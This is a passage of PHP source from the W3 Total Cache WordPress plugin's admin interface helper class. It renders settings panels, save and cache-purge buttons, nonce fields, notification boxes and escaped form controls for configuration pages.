		$extra_link_tabs = '';
		foreach ( $extra_links as $extra_link_text => $extra_link ) {
			$extra_link_tabs .= '<a class="nav-tab link-tab" href="' . esc_url( $extra_link ) . '" gatitle="' . esc_attr( $extra_link_text ) . '">' . esc_html( $extra_link_text ) . '<span class="dashicons dashicons-arrow-right-alt2"></span></a>';
		}

		echo '<div' . $display_id . ' class="postbox-tabs ' . esc_attr( $class ) . '">
			<h3 class="postbox-title"><span>' . wp_kses( $title, self::get_allowed_html_for_wp_kses_from_content( $title ) ) . '</span></h3>
			' . $description . '
			<h2 class="nav-tab-wrapper">' . $basic_settings_tab . $adv_settings_tab . $extra_link_tabs . '</h2>
			<div class="inside">';
	}

	/**
	 * Returns postbox footer
	 *
	 * @return void
	 */
	public static function postbox_footer() {
		echo '</div></div>';
	}

	public static function button_config_save( $id = '', $extra = '' ) {
		$b1_id = 'w3tc_save_options_' . $id;
		$b2_id = 'w3tc_default_save_and_flush_' . $id;

		?>
		<p class="submit">
			<?php
			$nonce_field = self::nonce_field( 'w3tc' );
			echo wp_kses(
				$nonce_field,
				self::get_allowed_html_for_wp_kses_from_content( $nonce_field )
			);
			?>
			<input type="submit" id="<?php echo esc_attr( $b1_id ); ?>"
				name="w3tc_save_options"
				class="w3tc-button-save button-primary"
				value="<?php esc_attr_e( 'Save all settings', 'w3-total-cache' ); ?>" />
			<?php
			echo wp_kses(
				$extra,
				self::get_allowed_html_for_wp_kses_from_content( $extra )
			);
			?>
			<?php if ( ! is_network_admin() ) : ?>
			<input type="submit" id="<?php echo esc_attr( $b2_id ); ?>"
				name="w3tc_default_save_and_flush" style="float: right"
				class="w3tc-button-save button-primary"
				value="<?php esc_attr_e( 'Save Settings & Purge Caches', 'w3-total-cache' ); ?>" />
			<?php endif ?>
		</p>
		<?php
	}

	public static function button_config_save_dropdown( $id = '', $extra = '' ) {
		?>
		<div class="w3tc-button-control-container">
			<?php
			self::print_save_split_button( $id, $extra );
			self::print_flush_split_button();
			?>
		</div>
		<?php
	}

	/**
	 * Prints the split button for saving setting.
	 *
	 * @param string $id     ID value.
	 * @param string $extra Extra values.
	 * @return void
	 */
	public static function print_save_split_button( $id = '', $extra = '' ) {
		$b1_id = 'w3tc_save_options_' . $id;
		$b2_id = 'w3tc_default_save_and_flush_' . $id;

		$nonce_field = self::nonce_field( 'w3tc' );
		echo wp_kses(
			$nonce_field,
			self::get_allowed_html_for_wp_kses_from_content( $nonce_field )
		);

		echo wp_kses(
			$extra,
			self::get_allowed_html_for_wp_kses_from_content( $extra )
		);

		?>
		<div class="btn-group w3tc-button-save-dropdown">
			<?php
			if ( ! is_network_admin() ) {
				?>
				<input type="submit" id="<?php echo esc_attr( $b1_id ); ?>" class="w3tc-button-save btn btn-primary btn-sm" name="w3tc_save_options" value="<?php esc_html_e( 'Save Settings', 'w3-total-cache' ); ?>"/>
				<button type="button" class="btn btn-primary btn-sm dropdown-toggle dropdown-toggle-split" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
					<span class="sr-only">Toggle Dropdown</span>
				</button>
				<div class="dropdown-menu dropdown-menu-right">
					<input type="submit" id="<?php echo esc_attr( $b2_id ); ?>" class="w3tc-button-save dropdown-item" name="w3tc_default_save_and_flush" value="<?php esc_html_e( 'Save Settings & Purge Caches', 'w3-total-cache' ); ?>"/>
				</div>
				<?php
			} else {
				?>
				<input type="submit" class="w3tc-button-save btn btn-primary btn-sm" name="w3tc_save_options" value="<?php esc_html_e( 'Save Settings', 'w3-total-cache' ); ?>"/>
				<?php
			}
			?>
		</div>
		<?php
	}

	/**
	 * Prints the split button for flushing caches.
	 *
	 * @return void
	 */
	public static function print_flush_split_button() {
		$config = Dispatcher::config();

		$nonce_field = self::nonce_field( 'w3tc' );
		echo wp_kses(
			$nonce_field,
			self::get_allowed_html_for_wp_kses_from_content( $nonce_field )
		);

		?>
		<div class="btn-group w3tc-button-flush-dropdown">
			<input id="flush_all" type="submit" class="btn btn-light btn-sm" name="w3tc_flush_all" value="<?php esc_html_e( 'Empty All Caches', 'w3-total-cache' ); ?>"/>
			<button type="button" class="btn btn-light btn-sm dropdown-toggle dropdown-toggle-split" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
				<span class="sr-only">Toggle Dropdown</span>
			</button>
			<div class="dropdown-menu dropdown-menu-right">
				<?php
				$actions = apply_filters( 'w3tc_dashboard_actions', array() );
				foreach ( $actions as $action ) {
					echo wp_kses(
						$action,
						array(
							'input' => array(
								'class'    => array(),
								'disabled' => array(),
								'name'     => array(),
								'type'     => array(),
								'value'    => array(),
							),
						)
					);
				}
				if ( $config->get_boolean( 'pgcache.enabled' ) ) {
					echo '<input type="submit" class="dropdown-item" name="w3tc_flush_pgcache" value="' . esc_attr__( 'Empty Page Cache', 'w3-total-cache' ) . '"/>';
				}
				if ( $config->get_boolean( 'browsercache.cssjs.replace' ) || $config->get_boolean( 'browsercache.other.replace' ) ) {
					echo '<input type="submit" class="dropdown-item" name="w3tc_flush_browser_cache" value="' . esc_attr__( 'Empty Browser Cache', 'w3-total-cache' ) . '"/>';
				}
				if ( $config->get_boolean( 'minify.enabled' ) ) {
					echo '<input type="submit" class="dropdown-item" name="w3tc_flush_minify" value="' . esc_attr__( 'Empty Minify Cache', 'w3-total-cache' ) . '"/>';
				}
				if ( $config->get_boolean( 'dbcache.enabled' ) ) {
					echo '<input type="submit" class="dropdown-item" name="w3tc_flush_dbcache" value="' . esc_attr__( 'Empty Database Cache', 'w3-total-cache' ) . '"/>';
				}
				if ( $config->getf_boolean( 'objectcache.enabled' ) ) {
					echo '<input type="submit" class="dropdown-item" name="w3tc_flush_objectcache" value="' . esc_attr__( 'Empty Object Cache', 'w3-total-cache' ) . '"/>';
				}
				if ( $config->get_boolean( 'cdn.enabled' ) || $config->get_boolean( 'cdnfsd.enabled' ) ) {
					$disable = ( $config->get_boolean( 'cdn.enabled' ) && Cdn_Util::can_purge_all( $config->get_string( 'cdn.engine' ) ) ) ||
						( $config->get_boolean( 'cdnfsd.enabled' ) && Cdn_Util::can_purge_all( $config->get_string( 'cdnfsd.engine' ) ) ) ?
							'' : ' disabled="disabled" ';
					echo '<input type="submit" class="dropdown-item" name="w3tc_flush_cdn"' . $disable . ' value="' . esc_attr__( 'Empty CDN Cache', 'w3-total-cache' ) . '"/>';
				}
				if ( $config->is_extension_active_frontend( 'fragmentcache' ) && Util_Environment::is_w3tc_pro( $config ) && ! empty( $config->get_string( array( 'fragmentcache', 'engine' ) ) ) ) {
					echo '<input type="submit" class="dropdown-item" name="w3tc_flush_fragmentcache" value="' . esc_attr__( 'Empty Fragment Cache', 'w3-total-cache' ) . '"/>';
				}
				if ( $config->get_boolean( 'varnish.enabled' ) ) {
					echo '<input type="submit" class="dropdown-item" name="w3tc_flush_varnish" value="' . esc_attr__( 'Empty Varnish Cache', 'w3-total-cache' ) . '"/>';
				}
				if ( $config->is_extension_active_frontend( 'cloudflare' ) ) {
					echo '<input type="submit" class="dropdown-item" name="w3tc_cloudflare_flush" value="' . esc_attr__( 'Empty Cloudflare Cache', 'w3-total-cache' ) . '"/>';
				}
				$opcode_enabled = ( Util_Installed::opcache() || Util_Installed::apc_opcache() );
				if ( $opcode_enabled ) {
					$disable = $opcode_enabled ? '' : ' disabled="disabled" ';
					echo '<input type="submit" class="dropdown-item" name="w3tc_opcache_flush"' . $disable . ' value="' . esc_attr__( 'Empty OpCode Cache', 'w3-total-cache' ) . '"/>';
				}
				?>
			</div>
		</div>
		<?php
	}

	/**
	 * Prints the form control bar
	 *
	 * @param string $id
	 * @return void
	 */
	public static function print_control_bar( $id = '' ) {
		?>
		<div class="w3tc_form_bar">
			<?php
			$custom_areas = apply_filters( 'w3tc_settings_general_anchors', array() );
			self::print_options_menu( $custom_areas );
			self::button_config_save_dropdown( $id );
			?>
		</div>
		<?php
	}

	public static function sealing_disabled( $key ) {
		$c = Dispatcher::config();
		if ( $c->is_sealed( $key ) ) {
			echo 'disabled="disabled" ';
		}
	}

	/**
	 * Returns nonce field HTML
	 *
	 * @param string $action
	 * @param string $name
	 * @param bool   $referer
	 * @internal param bool $echo
	 * @return string
	 */
	public static function nonce_field( $action = -1, $name = '_wpnonce', $referer = true ) {
		$return = '<input type="hidden" name="' . esc_attr( $name ) . '" value="' . esc_attr( wp_create_nonce( $action ) ) . '" />';

		if ( $referer ) {
			$return .= wp_referer_field( false );
		}

		return $return;
	}

	/**
	 * Returns an notification box
	 *
	 * @param string $message
	 * @param string $id      adds an id to the notification box.
	 * @return string
	 */
	public static function get_notification_box( $message, $id = '' ) {
		$page_val = Util_Request::get_string( 'page' );

		if ( empty( $page_val ) || ( ! empty( $page_val ) && 'w3tc_' !== substr( $page_val, 0, 5 ) ) ) {
			$logo = sprintf(
				'<img src="%s" alt="W3 Total Cache" style="height:30px;padding: 10px 2px 0 2px;" />"',
				esc_url( plugins_url( '/pub/img/W3TC_dashboard_logo_title.png', W3TC_FILE ) ) . ''
			);
		} else {
			$logo = '';
		}
		return sprintf(
			'<div %s class="updated inline">%s</div>',
			$id ? 'id="' . esc_attr( $id ) . '"' : '',
			$logo . wp_kses( $message, self::get_allowed_html_for_wp_kses_from_content( $message ) )
		);
	}

	/**
	 * Echos an notification box
	 *
	 * @param string $message
	 * @param string $id      adds an id to the notification box.
	 */
	public static function e_notification_box( $message, $id = '' ) {
		$notification_box = self::get_notification_box( $message, $id );
		echo wp_kses(
			$notification_box,
			self::get_allowed_html_for_wp_kses_from_content( $notification_box )
		);
	}

	/**
	 * Echos an error box.
	 *
	 * @param string $message Message.
	 * @param string $id      Id.
	 */
	public static function error_box( $message, $id = '' ) {
		$page_val = Util_Request::get_string( 'page' );

		if ( empty( $page_val ) || ( ! empty( $page_val ) && 'w3tc_' !== substr( $page_val, 0, 5 ) ) ) {
			$logo = sprintf(
				'<img src="%s" alt="W3 Total Cache" style="height:30px;padding: 10px 2px 0 2px;" />',
				esc_url( plugins_url( '/pub/img/W3TC_dashboard_logo_title.png', W3TC_FILE ) . '' )
			);
		} else {
			$logo = '';
		}

		$v = sprintf(
			'<div %s class="error inline">%s</div>',
			$id ? 'id="' . esc_attr( $id ) . '"' : '',
			$logo . wp_kses( $message, self::get_allowed_html_for_wp_kses_from_content( $message ) )
		);

		echo wp_kses(
			$v,
			self::get_allowed_html_for_wp_kses_from_content( $v )
		);
	}

	/**
	 * Format bytes into B, KB, MB, GB and TB
	 *
	 * @param unknown $bytes
	 * @param int     $precision
	 * @return string
	 */
	public static function format_bytes( $bytes, $precision = 2 ) {
		$units = array( 'B', 'KB', 'MB', 'GB', 'TB' );

		$bytes = max( $bytes, 0 );
		$pow   = floor( ( $bytes ? log( $bytes ) : 0 ) / log( 1024 ) );
		$pow   = min( $pow, count( $units ) - 1 );

		// Uncomment one of the following alternatives.
		$bytes /= pow( 1024, $pow );
		// $bytes /= ( 1 << ( 10 * $pow ) );

		return round( $bytes, $precision ) . ' ' . $units[ $pow ];
	}

	public static function format_mbytes( $bytes, $precision = 2 ) {
		$units = array( 'B', 'KB', 'MB', 'GB', 'TB' );

		$bytes = max( $bytes, 0 );
		$pow   = floor( ( $bytes ? log( $bytes ) : 0 ) / log( 1024 ) );
		$pow   = min( $pow, count( $units ) - 1 );

		// Uncomment one of the following alternatives.
		$bytes /= pow( 1024, $pow );
		// $bytes /= ( 1 << ( 10 * $pow ) );

		return round( $bytes, $precision ) . ' ' . $units[ $pow + 2 ];
	}

	/**
	 * Returns an input text element
	 *
	 * @param string $id
	 * @param string $name
	 * @param string $value
	 * @param bool   $disabled
	 * @param int    $size
	 */
	public static function r_hidden( $id, $name, $value ) {
		return '<input type="hidden" id="' . esc_attr( $id ) .
			'" name="' . esc_attr( $name ) .
			'" value="' . esc_attr( $value ) . '" />';
	}

	/**
	 * Echos an input text element
	 *
	 * @param string $id
	 * @param string $name
	 * @param string $value
	 * @param bool   $disabled
	 * @param int    $size
	 */
	public static function hidden( $id, $name, $value ) {
		$hidden = self::r_hidden( $id, $name, $value );
		echo wp_kses(
			$hidden,
			self::get_allowed_html_for_wp_kses_from_content( $hidden )
		);
	}

	/**
	 * Echos an label element
	 *
	 * @param string $id
	 * @param string $text
	 */
	public static function label( $id, $text ) {
		$label = '<label for="' . esc_attr( $id ) . '">' . $text . '</label>';
		echo wp_kses(
			$label,
			self::get_allowed_html_for_wp_kses_from_content( $label )
		);
	}

	/**
	 * Echos an input text element
	 *
	 * @param string $id
	 * @param string $name
	 * @param string $value
	 * @param bool   $disabled
	 * @param int    $size
	 */
	public static function textbox( $id, $name, $value, $disabled = false,
			$size = 40, $type = 'text', $placeholder = '' ) {
		echo '<input class="enabled" type="' . esc_attr( $type ) . '"
			 id="' . esc_attr( $id ) . '"
			 name="' . esc_attr( $name ) . '"
			 value="' . esc_attr( $value ) . '" ';
		disabled( $disabled );
		echo ' size="' . esc_attr( $size ) . '"';

		if ( ! empty( $placeholder ) ) {
			echo ' placeholder="' . esc_attr( $placeholder ) . '"';
		}

		echo ' />';
	}

	/**
	 * Echos an input password element
	 *
	 * @param string $id
	 * @param string $name
	 * @param string $value
	 * @param bool   $disabled
	 * @param int    $size
	 */
	public static function passwordbox( $id, $name, $value, $disabled = false, $size = 40 ) {
		echo '<input class="enabled" type="password"
			 id="' . esc_attr( $id ) . '"
			 name="' . esc_attr( $name ) . '"
			 value="' . esc_attr( $value ) . '" ';
		disabled( $disabled );
		echo ' size="' . esc_attr( $size ) . '" />';
	}

	/**
	 * Echos an select element
	 *
	 * @param string $id
	 * @param string $name
	 * @param bool   $state     whether checked or not.
	 * @param bool   $disabled
	 * @param array  $optgroups
	 */
	public static function selectbox( $id, $name, $value, $values,
			$disabled = false, $optgroups = null ) {
		echo '<select id="' . esc_attr( $id ) . '" name="' . esc_attr( $name ) . '" ';
		disabled( $disabled );
		echo ">\n";

		if ( ! is_array( $optgroups ) ) {
			// simle control.
			foreach ( $values as $key => $descriptor ) {
				self::option( $key, $value, $descriptor );
			}
		} else {
			// with optgroups.
			$current_optgroup = -1;
			foreach ( $values as $key => $descriptor ) {
				$optgroup = ( isset( $descriptor['optgroup'] ) ? $descriptor['optgroup'] : -1 );
				if ( $optgroup !== $current_optgroup ) {
					if ( -1 !== $current_optgroup ) {
						echo '</optgroup>';
					}
					echo '<optgroup label="' . esc_attr( $optgroups[ $optgroup ] ) . '">' . "\n";
					$current_optgroup = $optgroup;
				}

				self::option( $key, $value, $descriptor );
			}

			if ( -1 !== $current_optgroup ) {
				echo '</optgroup>';
			}
		}

		echo '</select>';
	}

	private static function option( $key, $selected_value, $descriptor ) {
		if ( ! is_array( $descriptor ) ) {
			$label    = $descriptor;
			$disabled = false;
		} else {
			$label    = $descriptor['label'];
			$disabled = ! empty( $descriptor['disabled'] );
		}

		echo '<option value="' . esc_attr( $key ) . '" ';
		selected( $selected_value, $key );
		disabled( $disabled );
		echo '>' . wp_kses( $label, self::get_allowed_html_for_wp_kses_from_content( $label ) ) . '</option>' . "\n";
	}

	/**
	 * Echos a group of radio elements
	 * values: value => label pair or
	 * value => array(label, disabled, postfix).
	 */
	public static function radiogroup( $name, $value, $values,
			$disabled = false, $separator = '' ) {
		$c      = Dispatcher::config();
		$is_pro = Util_Environment::is_w3tc_pro( $c );
		$first  = true;
		foreach ( $values as $key => $label_or_array ) {
			if ( $first ) {
				$first = false;
			} else {
				echo wp_kses(
					$separator,
					self::get_allowed_html_for_wp_kses_from_content( $separator )
				);
			}

			$label         = '';
			$item_disabled = false;
			$postfix       = '';
			$pro_feature   = false;

			if ( ! is_array( $label_or_array ) ) {
				$label = $label_or_array;
			} else {
				$label         = $label_or_array['label'];
				$item_disabled = $label_or_array['disabled'];
				$postfix       = isset( $label_or_array['postfix'] ) ? $label_or_array['postfix'] : '';
				$pro_feature   = isset( $label_or_array['pro_feature'] ) ? $label_or_array['pro_feature'] : false;
			}

			if ( $pro_feature ) {
				self::pro_wrap_maybe_start();
			}
			echo '<label><input type="radio"
				 id="' . esc_attr( $name . '__' . $key ) . '"
				 name="' . esc_attr( $name ) . '"
				 value="' . esc_attr( $key ) . '"';
			checked( $value, $key );
			disabled( $disabled || $item_disabled );
			echo ' />' . wp_kses( $label, self::get_allowed_html_for_wp_kses_from_content( $label ) ) . '</label>' . wp_kses( $postfix, self::get_allowed_html_for_wp_kses_from_content( $postfix ) ) . "\n";
			if ( $pro_feature ) {
				self::pro_wrap_description(
					$label_or_array['pro_excerpt'],
					$label_or_array['pro_description'],
					$name . '__' . $key
				);

				if ( ! $is_pro && isset( $label_or_array['intro_label'] ) && isset( $label_or_array['score'] ) && isset( $label_or_array['score_label'] ) && isset( $label_or_array['score_description'] ) && isset( $label_or_array['score_link'] ) ) {
					$score_block = self::get_score_block( $label_or_array['intro_label'], $label_or_array['score'], $label_or_array['score_label'], $label_or_array['score_description'], $label_or_array['score_link'] );
					echo wp_kses( $score_block, self::get_allowed_html_for_wp_kses_from_content( $score_block ) );
				}

				$show_learn_more = isset( $label_or_array['show_learn_more'] ) && is_bool( $label_or_array['show_learn_more'] ) ? $label_or_array['show_learn_more'] : true;
				self::pro_wrap_maybe_end( $name . '__' . $key, $show_learn_more );
			}
		}
	}

	/**
	 * Echos an input text element
	 *
	 * @param string $id
	 * @param string $name
	 * @param string $value
	 * @param bool   $disabled
	 */
	public static function textarea( $id, $name, $value, $disabled = false ) {
		?>
		<textarea class="enabled" id="<?php echo esc_attr( $id ); ?>"
			name="<?php echo esc_attr( $name ); ?>" rows="5" cols=25 style="width: 100%"
			<?php disabled( $disabled ); ?>><?php echo esc_textarea( $value ); ?></textarea>
		<?php
	}

	/**
	 * Echos an input checkbox element
	 *
	 * @param string $id
	 * @param string $name
	 * @param bool   $state    whether checked or not.
	 * @param bool   $disabled
	 */
	public static function checkbox( $id, $name, $state, $disabled = false, $label = null ) {
		if ( ! is_null( $label ) ) {
			echo '<label>';
		}

		echo '<input type="hidden" name="' . esc_attr( $name ) . '"
			 value="' . esc_attr( ( ! $disabled ? '0' : ( $state ? '1' : '0' ) ) ) . '">' . "\n";
		echo '<input class="enabled" type="checkbox" id="' . esc_attr( $id ) . '"
			 name="' . esc_attr( $name ) . '" value="1" ';
		checked( $state );
		disabled( $disabled );
		echo ' /> ';

		if ( ! is_null( $label ) ) {
			echo wp_kses( $label, self::get_allowed_html_for_wp_kses_from_content( $label ) ) . '</label>';
		}
	}

	/**
	 * Echos an element
	 *
	 * @param string $type
	 * @param string $id
	 * @param string $name
	 * @param mixed  $value
	 * @param bool   $disabled
	 */
	public static function element( $type, $id, $name, $value, $disabled = false ) {
		switch ( $type ) {
			case 'textbox':
				self::textbox( $id, $name, $value, $disabled );
				break;
			case 'password':
				self::passwordbox( $id, $name, $value, $disabled );
				break;
			case 'textarea':
				self::textarea( $id, $name, $value, $disabled );
				break;
			case 'checkbox':
			default:
				self::checkbox( $id, $name, $value, $disabled );
				break;
		}
	}

	public static function checkbox2( $e ) {
		self::checkbox(
			$e['name'],
			$e['name'],
			$e['value'],
			( isset( $e['disabled'] ) ? $e['disabled'] : false ),
			( isset( $e['label'] ) ? $e['label'] : null )
		);
	}

	public static function radiogroup2( $e ) {
		self::radiogroup(
			$e['name'],
			$e['value'],
			$e['values'],
			$e['disabled'],
			$e['separator']
		);
	}

	public static function selectbox2( $e ) {
		self::selectbox(
			$e['name'],
			$e['name'],
			$e['value'],
			$e['values'],
			( isset( $e['disabled'] ) ? $e['disabled'] : false ),
			( isset( $e['optgroups'] ) ? $e['optgroups'] : null )
		);
	}

	public static function textbox2( $e ) {
		self::textbox(
			$e['name'],
			$e['name'],
			$e['value'],
			( isset( $e['disabled'] ) ? $e['disabled'] : false ),
			( ! empty( $e['size'] ) ? $e['size'] : 20 ),
			( ! empty( $e['type'] ) ? $e['type'] : 'text' ),
			( ! empty( $e['placeholder'] ) ? $e['placeholder'] : '' )
		);
	}

	public static function textarea2( $e ) {
		self::textarea(
			$e['name'],
			$e['name'],
			$e['value'],
			( isset( $e['disabled'] ) ? $e['disabled'] : false )
		);
	}

	public static function control2( $a ) {
		if ( 'checkbox' === $a['control'] ) {
			self::checkbox2(
				array(
					'name'     => $a['control_name'],
					'value'    => $a['value'],
					'disabled' => $a['disabled'],
					'label'    => $a['checkbox_label'],
				)
			);
		} elseif ( 'radiogroup' === $a['control'] ) {
			self::radiogroup2(
				array(
					'name'      => $a['control_name'],
					'value'     => $a['value'],
					'disabled'  => $a['disabled'],
					'values'    => $a['radiogroup_values'],
					'separator' => isset( $a['radiogroup_separator'] ) ? $a['radiogroup_separator'] : '',
				)
			);
		} elseif ( 'selectbox' === $a['control'] ) {
			self::selectbox2(
				array(
					'name'      => $a['control_name'],
					'value'     => $a['value'],
					'disabled'  => $a['disabled'],
					'values'    => $a['selectbox_values'],
					'optgroups' => isset( $a['selectbox_optgroups'] ) ? $a['selectbox_optgroups'] : null,
				)
			);
		} elseif ( 'textbox' === $a['control'] ) {
			self::textbox2(
				array(
					'name'        => $a['control_name'],
					'value'       => $a['value'],
					'disabled'    => $a['disabled'],
					'type'        => isset( $a['textbox_type'] ) ? $a['textbox_type'] : null,
					'size'        => isset( $a['textbox_size'] ) ? $a['textbox_size'] : null,
					'placeholder' => isset( $a['textbox_placeholder'] ) ? $a['textbox_placeholder'] : null,
				)
			);
		} elseif ( 'textarea' === $a['control'] ) {
			self::textarea2(
				array(
					'name'     => $a['control_name'],
					'value'    => $a['value'],
					'disabled' => $a['disabled'],
				)
			);
		} elseif ( 'none' === $a['control'] ) {
			echo wp_kses( $a['none_label'], self::get_allowed_html_for_wp_kses_from_content( $a['none_label'] ) );
		} elseif ( 'button' === $a['control'] ) {
			echo '<button type="button" class="button">' . wp_kses( $a['none_label'], self::get_allowed_html_for_wp_kses_from_content( $a['none_label'] ) ) . '</button>';
		}
	}

	/**
	 * Get table classes for tables including pro features.
	 *
	 * When on the free version, tables with pro features have additional classes added to help highlight
	 * the premium feature. If the user is on pro, this class is omitted.
	 *
	 * @since 0.14.3
	 *
	 * @return string
	 */
	public static function table_class() {
		$table_class[] = 'form-table';

		if ( ! Util_Environment::is_w3tc_pro( Dispatcher::config() ) ) {
			$table_class[] = 'w3tc-pro-feature';
		}

		return implode( ' ', $table_class );
	}

	/**
	 * Renders <tr> element with controls
	 * id =>
	 * label =>
	 * label_class =>
	 * <control> => details
	 * style - default is label,controls view,
	 *         alternative is one-column view
	 */
	public static function table_tr( $a ) {
		$id = isset( $a['id'] ) ? $a['id'] : '';
		$a  = apply_filters( 'w3tc_ui_settings_item', $a );

		echo '<tr><th';

		if ( isset( $a['label_class'] ) ) {
			echo ' class="' . esc_attr( $a['label_class'] ) . '"';
		}
		echo '>';
		if ( isset( $a['label'] ) ) {
			self::label( $id, $a['label'] );
		}

		echo "</th>\n<td>\n";

		foreach ( $a as $key => $e ) {
			if ( 'checkbox' === $key ) {
				self::checkbox(
					$id,
					isset( $e['name'] ) ? $e['name'] : null,
					$e['value'],
					( isset( $e['disabled'] ) ? $e['disabled'] : false ),
					( isset( $e['label'] ) ? $e['label'] : null )
				);
			} elseif ( 'description' === $key ) {
				echo '<p class="description">' . wp_kses( $e, self::get_allowed_html_for_wp_kses_from_content( $e ) ) . '</p>';
			} elseif ( 'hidden' === $key ) {
				self::hidden( '', $e['name'], $e['value'] );
			} elseif ( 'html' === $key ) {
				echo wp_kses( $e, self::get_allowed_html_for_wp_kses_from_content( $e ) );
			} elseif ( 'radiogroup' === $key ) {
				self::radiogroup(
					$e['name'],
					$e['value'],
					$e['values'],
					$e['disabled'],
					$e['separator']
				);
			} elseif ( 'selectbox' === $key ) {
				self::selectbox(
					$id,
					$e['name'],
					$e['value'],
					$e['values'],
					( isset( $e['disabled'] ) ? $e['disabled'] : false ),
					( isset( $e['optgroups'] ) ? $e['optgroups'] : null )
				);
			} elseif ( 'textbox' === $key ) {
				self::textbox(
					$id,
					$e['name'],
					$e['value'],
					( isset( $e['disabled'] ) ? $e['disabled'] : false ),
					( ! empty( $e['size'] ) ? $e['size'] : 20 ),
					( ! empty( $e['type'] ) ? $e['type'] : 'text' ),
					( ! empty( $e['placeholder'] ) ? $e['placeholder'] : '' )
				);
			} elseif ( 'textarea' === $key ) {
				self::textarea(
					$id,
					$e['name'],
					$e['value'],
					( isset( $e['disabled'] ) ? $e['disabled'] : false )
				);
			}
		}

		echo "</td></tr>\n";
	}

	/**
	 * Prints configuration item UI based on description
	 *   key => configuration key
	 *   label => configuration key's as its introduced to the user
	 *   value => it's value
	 *   disabled => if disabled
	 *
	 *   control => checkbox | radiogroup | selectbox | textbox
	 *   checkbox_label => text shown after the textbox
	 *   radiogroup_values => array of possible values for radiogroup
	 *   selectbox_values => array of possible values for dropdown
	 *   selectbox_optgroups =>
	 *   textbox_size =>
	 *
	 *   control_after => something after control to add
	 *   description => description shown to the user below
	 */
	public static function config_item( $a ) {
		/*
		 * Some items we do not want shown in the free edition.
		 *
		 * By default, they will show in free, unless 'show_in_free' is specifically passed in as false.
		 */
		$is_w3tc_free = ! Util_Environment::is_w3tc_pro( Dispatcher::config() );
		$show_in_free = ! isset( $a['show_in_free'] ) || (bool) $a['show_in_free'];
		if ( ! $show_in_free && $is_w3tc_free ) {
			return;
		}

		$a = self::config_item_preprocess( $a );

		if ( 'w3tc_single_column' === $a['label_class'] ) {
			echo '<tr><th colspan="2">';
		} else {
			echo '<tr><th class="' . esc_attr( $a['label_class'] ) . '">';

			if ( ! empty( $a['label'] ) ) {
				self::label( $a['control_name'], $a['label'] );
			}

			echo "</th>\n<td>\n";
		}

		self::control2( $a );

		if ( isset( $a['control_after'] ) ) {
			echo wp_kses(
				$a['control_after'],
				self::get_allowed_html_for_wp_kses_from_content( $a['control_after'] )
			);
		}
		if ( isset( $a['description'] ) ) {
			echo wp_kses(
				sprintf(
					'%1$s%2$s%3$s',
					'<p class="description">',
					$a['description'],
					'</p>'
				),
				array(
					'p'       => array(
						'class' => array(),
					),
					'acronym' => array(
						'title' => array(),
					),
				)
			);
		}

		if ( $is_w3tc_free && isset( $a['intro_label'] ) && isset( $a['score'] ) && isset( $a['score_label'] ) && isset( $a['score_description'] ) && isset( $a['score_link'] ) ) {
			$score_block = self::get_score_block( $a['score'], $a['score_label'], $a['score_description'], $a['score_link'] );
			echo wp_kses( $score_block, self::get_allowed_html_for_wp_kses_from_content( $score_block ) );
		}

		echo ( isset( $a['style'] ) ? '</th>' : '</td>' );
		echo "</tr>\n";
	}

	public static function config_item_extension_enabled( $a ) {
		$c      = Dispatcher::config();
		$is_pro = Util_Environment::is_w3tc_pro( $c );

		if ( 'w3tc_single_column' === $a['label_class'] ) {
			echo '<tr><th colspan="2">';
		} else {
			echo '<tr><th class="' . esc_attr( $a['label_class'] ) . '">';

			if ( ! empty( $a['label'] ) ) {
				self::label( $a['control_name'], $a['label'] );
			}

			echo "</th>\n<td>\n";
		}

		if ( isset( $a['pro'] ) ) {
			self::pro_wrap_maybe_start();
		}

		self::checkbox2(
			array(
				'name'     => 'extension__' . self::config_key_to_http_name( $a['extension_id'] ),
				'value'    => $c->is_extension_active_frontend( $a['extension_id'] ),
				'label'    => $a['checkbox_label'],
				'disabled' => isset( $a['disabled'] ) ? $a['disabled'] : false,
			)
		);

		if ( isset( $a['description'] ) ) {
			echo '<p class="description">' . wp_kses( $a['description'], self::get_allowed_html_for_wp_kses_from_content( $a['description'] ) ) . '</p>';
		}

		if ( ! $is_pro && isset( $a['intro_label'] ) && isset( $a['score'] ) && isset( $a['score_label'] ) && isset( $a['score_description'] ) && isset( $a['score_link'] ) ) {
			$score_block = self::get_score_block( $a['intro_label'], $a['score'], $a['score_label'], $a['score_description'], $a['score_link'] );
			echo wp_kses( $score_block, self::get_allowed_html_for_wp_kses_from_content( $score_block ) );
		}

		if ( isset( $a['pro'] ) ) {
			$show_learn_more = isset( $a['show_learn_more'] ) && is_bool( $a['show_learn_more'] ) ? $a['show_learn_more'] : true;
			self::pro_wrap_maybe_end( 'extension__' . self::config_key_to_http_name( $a['extension_id'] ), $show_learn_more );
		}

		echo ( isset( $a['style'] ) ? '</th>' : '</td>' );
		echo "</tr>\n";
	}

	public static function config_item_pro( $a ) {
		$c      = Dispatcher::config();
		$is_pro = Util_Environment::is_w3tc_pro( $c );
		$a      = self::config_item_preprocess( $a );

		if ( 'w3tc_single_column' === $a['label_class'] ) {
			echo '<tr><th colspan="2">';
		} elseif ( 'w3tc_no_trtd' !== $a['label_class'] ) {
			echo '<tr><th class="' . esc_attr( $a['label_class'] ) . '">';

			if ( ! empty( $a['label'] ) ) {
				self::label( $a['control_name'], $a['label'] );
			}

			echo "</th>\n<td>\n";
		}

		// If wrap_separate is not set we wrap everything.
		if ( ! isset( $a['wrap_separate'] ) && ! isset( $a['no_wrap'] ) ) {
			self::pro_wrap_maybe_start();
		}

		self::control2( $a );

		if ( isset( $a['control_after'] ) ) {
			echo wp_kses( $a['control_after'], self::get_allowed_html_for_wp_kses_from_content( $a['control_after'] ) );
		}

		// If wrap_separate is set we wrap only the description.
		if ( isset( $a['wrap_separate'] ) && ! isset( $a['no_wrap'] ) ) {
			// If not pro we add a spacer for better separation of control element and wrapper.
			if ( ! $is_pro ) {
				echo '<br/><br/>';
			}
			self::pro_wrap_maybe_start();
		}

		if ( isset( $a['description'] ) ) {
			self::pro_wrap_description( $a['excerpt'], $a['description'], $a['control_name'] );
		}

		if ( ! $is_pro && ! isset( $a['no_wrap'] ) && isset( $a['intro_label'] ) && isset( $a['score'] ) && isset( $a['score_label'] ) && isset( $a['score_description'] ) && isset( $a['score_link'] ) ) {
			$score_block = self::get_score_block( $a['intro_label'], $a['score'], $a['score_label'], $a['score_description'], $a['score_link'] );
			echo wp_kses( $score_block, self::get_allowed_html_for_wp_kses_from_content( $score_block ) );
		}

